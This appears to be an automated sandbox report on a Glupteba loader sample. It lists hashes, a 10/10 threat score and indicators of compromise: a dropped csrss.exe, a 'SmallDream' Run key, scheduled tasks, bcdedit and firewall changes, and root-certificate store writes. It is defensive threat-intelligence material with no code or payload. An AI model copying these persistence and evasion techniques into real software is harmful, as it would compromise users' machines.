Overview

overview

10

Static

static

0c492f198fcc20...fe.exe

windows7_x64

10

0c492f198fcc20...fe.exe

windows10-2004_x64

10
General
Target

0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe

Filesize

3MB

Completed

20-05-2022 22:53

Task

behavioral2

Score
10/10
MD5

c95cacf637b843678cd05cbd450fa9d7

SHA1

1e0f3dbd768e395e6781b84f5f2807515e15a265

SHA256

0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe

SHA256

df18882876136fa5a02f0ab81ec46d4d46c75c95b840d03a8d2f6ce6c9613f0d14f1732c845b498833e29907e489fb46c73781305c15884da48aa69f550aaa53

Malware Config
Signatures 17

Filter: none

Defense Evasion
Discovery
Persistence
  • Glupteba

    Description

    Glupteba is a modular loader written in Golang with various components.

    Tags

  • Glupteba Payload

    Reported IOCs

    resourceyara_rule
    behavioral2/memory/932-131-0x0000000002F30000-0x0000000003626000-memory.dmpfamily_glupteba
    behavioral2/memory/932-132-0x0000000000400000-0x0000000000D2F000-memory.dmpfamily_glupteba
    behavioral2/memory/4524-135-0x0000000000400000-0x0000000000D2F000-memory.dmpfamily_glupteba
    behavioral2/memory/4308-144-0x0000000003300000-0x00000000039F6000-memory.dmpfamily_glupteba
    behavioral2/memory/4308-145-0x0000000000400000-0x0000000000D2F000-memory.dmpfamily_glupteba
  • Suspicious use of NtCreateUserProcessOtherParentProcess
    svchost.exe

    Reported IOCs

    descriptionpidprocesstarget process
    PID 5064 created 9325064svchost.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    PID 5064 created 43085064svchost.execsrss.exe
    PID 5064 created 43085064svchost.execsrss.exe
    PID 5064 created 43085064svchost.execsrss.exe
    PID 5064 created 43085064svchost.execsrss.exe
  • Executes dropped EXE
    csrss.exepatch.exe

    Reported IOCs

    pidprocess
    4308csrss.exe
    4584patch.exe
  • Modifies Windows Firewall

    Tags

    TTPs

    Modify Existing Service
  • Adds Run key to start application
    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe

    Tags

    TTPs

    Registry Run Keys / Startup FolderModify Registry

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SmallDream = "\"C:\\Windows\\rss\\csrss.exe\""0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
  • Checks installed software on the system

    Description

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    Tags

    TTPs

    Query Registry
  • Modifies boot configuration data using bcdedit
    bcdedit.exe

    Reported IOCs

    pidprocess
    4684bcdedit.exe
  • Drops file in System32 directory
    csrss.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaDatacsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E0F5C59F9FA661F6F4C50B87FEF3A15Acsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Contentcsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E0F5C59F9FA661F6F4C50B87FEF3A15Acsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoftcsrss.exe
    File opened for modificationC:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCachecsrss.exe
  • Drops file in Windows directory
    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execsrss.exe

    Reported IOCs

    descriptioniocprocess
    File opened for modificationC:\Windows\rss0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    File createdC:\Windows\rss\csrss.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    File createdC:\Windows\windefender.execsrss.exe
    File opened for modificationC:\Windows\windefender.execsrss.exe
  • Program crash
    WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

    Reported IOCs

    pidpid_targetprocesstarget process
    3616932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    2652932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4904932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    2956932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    2156932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4956932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    3572932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4220932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4744932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4696932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4616932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4580932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    2448932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    2144932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4424932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    4232932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    1292932WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    31004524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    43324524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    1124524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    47564524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    9364524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    37244524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    37004524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    37684524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    13884524WerFault.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe
    27844308WerFault.execsrss.exe
    40404308WerFault.execsrss.exe
    42084308WerFault.execsrss.exe
    30244308WerFault.execsrss.exe
    50164308WerFault.execsrss.exe
    36684308WerFault.execsrss.exe
    24644308WerFault.execsrss.exe
    8404308WerFault.execsrss.exe
    34764308WerFault.execsrss.exe
    15324308WerFault.execsrss.exe
    44524308WerFault.execsrss.exe
    30964308WerFault.execsrss.exe
    50524308WerFault.execsrss.exe
    9044308WerFault.execsrss.exe
    14244308WerFault.execsrss.exe
    21564308WerFault.execsrss.exe
    49564308WerFault.execsrss.exe
    26004308WerFault.execsrss.exe
    25884308WerFault.execsrss.exe
    47124308WerFault.execsrss.exe
    38364308WerFault.execsrss.exe
    25204308WerFault.execsrss.exe
    44084308WerFault.execsrss.exe
    14324308WerFault.execsrss.exe
    19364308WerFault.execsrss.exe
    23004308WerFault.execsrss.exe
    38524308WerFault.execsrss.exe
    16124308WerFault.execsrss.exe
    18604308WerFault.execsrss.exe
    7564308WerFault.execsrss.exe
    36724308WerFault.execsrss.exe
    14604308WerFault.execsrss.exe
  • Creates scheduled task(s)
    schtasks.exeschtasks.exe

    Description

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    Tags

    TTPs

    Scheduled Task

    Reported IOCs

    pidprocess
    2096schtasks.exe
    4292schtasks.exe
  • Modifies data under HKEY_USERS
    csrss.exe

    Reported IOCs

    descriptioniocprocess
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2042 = "Eastern Standard Time (Mexico)"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-772 = "Montevideo Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-601 = "Taipei Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1502 = "Turkey Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2431 = "Cuba Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-111 = "Eastern Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-351 = "FLE Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-262 = "GMT Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2791 = "Novosibirsk Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-381 = "South Africa Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-252 = "Dateline Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-661 = "Cen. Australia Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2371 = "Easter Island Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-981 = "Kamchatka Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificatescsrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRootcsrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trustcsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2491 = "Aus Central W. Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-448 = "Azerbaijan Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-362 = "GTB Standard Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2181 = "Astrakhan Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-182 = "Mountain Standard Time (Mexico)"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2941 = "Sao Tome Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2432 = "Cuba Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-682 = "E. Australia Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2372 = "Easter Island Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2631 = "Norfolk Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-752 = "Tonga Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2341 = "Haiti Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-842 = "Argentina Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-141 = "Canada Central Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2002 = "Cabo Verde Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-721 = "Central Pacific Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2182 = "Astrakhan Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-681 = "E. Australia Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2061 = "North Korea Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificatescsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-232 = "Hawaiian Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-741 = "New Zealand Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2142 = "Transbaikal Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-449 = "Azerbaijan Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-562 = "SE Asia Standard Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-332 = "E. Europe Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-571 = "China Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-231 = "Hawaiian Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-982 = "Kamchatka Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2771 = "Omsk Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-2141 = "Transbaikal Daylight Time"csrss.exe
    Key created\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLscsrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-441 = "Arabian Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-281 = "Central Europe Daylight Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time"csrss.exe
    Set value (str)\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\C:\Windows\system32\,@tzres.dll,-561 = "SE Asia Daylight Time"csrss.exe
  • Modifies system certificate store
    csrss.exe

    Tags

    TTPs

    Install Root CertificateModify Registry

    Reported IOCs

    descriptioniocprocess
    Key created\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8csrss.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e14000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e80f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f631900000001000000100000002fe1f70bb05d7c92335bc5e05b984da620000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827csrss.exe
    Set value (data)\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\CABD2A79A1076A31F21D253635CB039D4329A5E8\Blob = 5c0000000100000004000000001000001900000001000000100000002fe1f70bb05d7c92335bc5e05b984da60f00000001000000200000003f0411ede9c4477057d57e57883b1f205b20cdc0f3263129b1ee0269a2678f63030000000100000014000000cabd2a79a1076a31f21d253635cb039d4329a5e814000000010000001400000079b459e67bb6e5e40173800888c81a58f6e99b6e0400000001000000100000000cd2f9e0da1773e9ed864da5e370e74e20000000010000006f0500003082056b30820353a0030201020211008210cfb0d240e3594463e0bb63828b00300d06092a864886f70d01010b0500304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f74205831301e170d3135303630343131303433385a170d3335303630343131303433385a304f310b300906035504061302555331293027060355040a1320496e7465726e65742053656375726974792052657365617263682047726f7570311530130603550403130c4953524720526f6f7420583130820222300d06092a864886f70d01010105000382020f003082020a0282020100ade82473f41437f39b9e2b57281c87bedcb7df38908c6e3ce657a078f775c2a2fef56a6ef6004f28dbde68866c4493b6b163fd14126bbf1fd2ea319b217ed1333cba48f5dd79dfb3b8ff12f1219a4bc18a8671694a66666c8f7e3c70bfad292206f3e4c0e680aee24b8fb7997e94039fd347977c99482353e838ae4f0a6f832ed149578c8074b6da2fd0388d7b0370211b75f2303cfa8faeddda63abeb164fc28e114b7ecf0be8ffb5772ef4b27b4ae04c12250c708d0329a0e15324ec13d9ee19bf10b34a8c3f89a36151deac870794f46371ec2ee26f5b9881e1895c34796c76ef3b906279e6dba49a2f26c5d010e10eded9108e16fbb7f7a8f7c7e50207988f360895e7e237960d36759efb0e72b11d9bbc03f94905d881dd05b42ad641e9ac0176950a0fd8dfd5bd121f352f28176cd298c1a80964776e4737baceac595e689d7f72d689c50641293e593edd26f524c911a75aa34c401f46a199b5a73a516e863b9e7d72a712057859ed3e5178150b038f8dd02f05b23e7b4a1c4b730512fcc6eae050137c439374b3ca74e78e1f0108d030d45b7136b407bac130305c48b7823b98a67d608aa2a32982ccbabd83041ba2830341a1d605f11bc2b6f0a87c863b46a8482a88dc769a76bf1f6aa53d198feb38f364dec82b0d0a28fff7dbe21542d422d0275de179fe18e77088ad4ee6d98b3ac6dd27516effbc64f533434f0203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e0416041479b459e67bb6e5e40173800888c81a58f6e99b6e300d06092a864886f70d01010b05000382020100551f58a9bcb2a850d00cb1d81a6920272908ac61755c8a6ef882e5692fd5f6564bb9b8731059d321977ee74c71fbb2d260ad39a80bea17215685f1500e59ebcee059e9bac915ef869d8f8480f6e4e99190dc179b621b45f06695d27c6fc2ea3bef1fcfcbd6ae27f1a9b0c8aefd7d7e9afa2204ebffd97fea912b22b1170e8ff28a345b58d8fc01c954b9b826cc8a8833894c2d843c82dfee965705ba2cbbf7c4b7c74e3b82be31c822737392d1c280a43939103323824c3c9f86b255981dbe29868c229b9ee26b3b573a82704ddc09c789cb0a074d6ce85d8ec9efceabc7bbb52b4e45d64ad026cce572ca086aa595e315a1f7a4edc92c5fa5fbffac28022ebed77bbbe3717b9016d3075e46537c3707428cd3c4969cd599b52ae0951a8048ae4c3907cecc47a452952bbab8fbadd233537de51d4d6dd5a1b1c7426fe64027355ca328b7078de78d3390e7239ffb509c796c46d5b415b3966e7e9b0c963ab8522d3fd65be1fb08c284fe24a8a389daac6ae1182ab1a843615bd31fdc3b8d76f22de88d75df17336c3d53fb7bcb415fffdca2d06138e196b8ac5d8b37d775d533c09911ae9d41c1727584be0241425f67244894d19b27be073fb9b84f817451e17ab7ed9d23e2bee0d52804133c31039edd7a6c8fc60718c67fde478e3f289e0406cfa5543477bdec899be91743df5bdb5ffe8e1e57a2cd409d7e6222dade1827csrss.exe
  • Suspicious behavior: EnumeratesProcesses
    0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.exe0c492f198fcc206d4c8f7e9c9349109c2fd9235cd6cefe47c1b379ec3db83efe.execsrss.exe

